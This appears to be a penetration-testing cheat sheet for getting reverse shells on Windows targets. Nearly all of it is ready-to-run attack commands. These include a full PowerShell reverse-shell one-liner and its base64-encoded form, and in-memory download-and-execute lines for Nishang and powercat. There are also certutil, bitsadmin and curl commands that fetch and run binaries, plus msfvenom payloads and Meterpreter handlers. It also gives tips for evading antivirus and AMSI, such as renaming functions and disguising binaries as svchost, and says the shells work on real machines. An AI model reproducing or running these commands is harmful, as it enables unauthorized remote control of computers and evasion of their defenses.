Windows is harder than Linux — no /dev/tcp, no default perl, and Defender is watching PowerShell with AMSI. The usual plays: PowerShell one-liners, nc.exe dropped to disk, or an .exe generated with msfvenom.
PowerShell — The Standard
The classic reverse shell. Long, ugly, and detected by modern AV in its raw form — but it works on a clean lab, and with encoding or AMSI bypass it works on a lot of real boxes too.
powershell -NoP -NonI -W Hidden -Exec Bypass -c "$c=New-Object System.Net.Sockets.TCPClient('10.10.14.5',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1 | Out-String );$rb=([text.encoding]::ASCII).GetBytes($r+'PS> ');$s.Write($rb,0,$rb.Length);$s.Flush()};$c.Close()"Flags worth knowing:
| Flag | Purpose |
|---|---|
-NoP | NoProfile — skip user profile scripts |
-NonI | NonInteractive — no prompt |
-W Hidden | WindowStyle Hidden — no PowerShell window |
-Exec Bypass | Ignore execution policy |
-enc <b64> | Execute UTF-16LE base64 payload |
Base64-Encoded PowerShell
Great for squeezing a payload through a single command parameter without escaping hell.
# on your Linux attacker — encode as UTF-16LE then base64
PAYLOAD='$c=New-Object System.Net.Sockets.TCPClient("10.10.14.5",4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1 | Out-String );$rb=([text.encoding]::ASCII).GetBytes($r+"PS> ");$s.Write($rb,0,$rb.Length);$s.Flush()};$c.Close()'
echo -n "$PAYLOAD" | iconv -t UTF-16LE | base64 -w0Then on target:
powershell -nop -w hidden -enc <long-base64-string>Nishang’s Invoke-PowerShellTcp
Clean, well-maintained. Hosted on your attacker and pulled over HTTP.
# attacker — serve the script
python3 -m http.server 8000# target — download and execute in memory (no disk)
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 4444"Add this line to the bottom of the script to auto-execute on download:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 4444AMSI will scan this
Modern Defender flags
Invoke-PowerShellTcpby name. Rename the function, obfuscate strings, or use an AMSI bypass before IEX.
nc.exe (Drop to Disk)
# transfer nc.exe to target first (SMB, HTTP, certutil, etc.)
certutil -urlcache -split -f http://10.10.14.5:8000/nc.exe C:\Windows\Temp\nc.exe
C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exenc.exe triggers AV
Even Nmap’s
ncat.exeis often flagged. Rename it (svchost.exe-anything) or usepowercat.ps1to stay in-memory.
powercat
A PowerShell port of netcat. Memory-only, decent for AV evasion.
# load from attacker
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5:8000/powercat.ps1')
powercat -c 10.10.14.5 -p 4444 -e cmd.execmd.exe Payloads
When PowerShell is blocked (constrained language mode, AppLocker), fall back to cmd + a dropped binary.
REM download with certutil, bitsadmin, or curl
certutil -urlcache -split -f http://10.10.14.5:8000/shell.exe %TEMP%\shell.exe
%TEMP%\shell.exeUsing curl.exe (available Windows 10 1803+):
curl http://10.10.14.5:8000/shell.exe -o %TEMP%\shell.exe && %TEMP%\shell.exeUsing bitsadmin:
bitsadmin /transfer job /download /priority high http://10.10.14.5:8000/shell.exe %TEMP%\shell.exe
%TEMP%\shell.exemsfvenom EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe
# or Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o meter.exeCatch with:
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 4444; run"Catching Windows Shells
Use rlwrap to get usable line editing — Windows reverse shells are miserable without it.
rlwrap nc -lvnp 4444For HTTPS Meterpreter (survives through proxies):
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.5 LPORT=443 -f exe -o shell.exe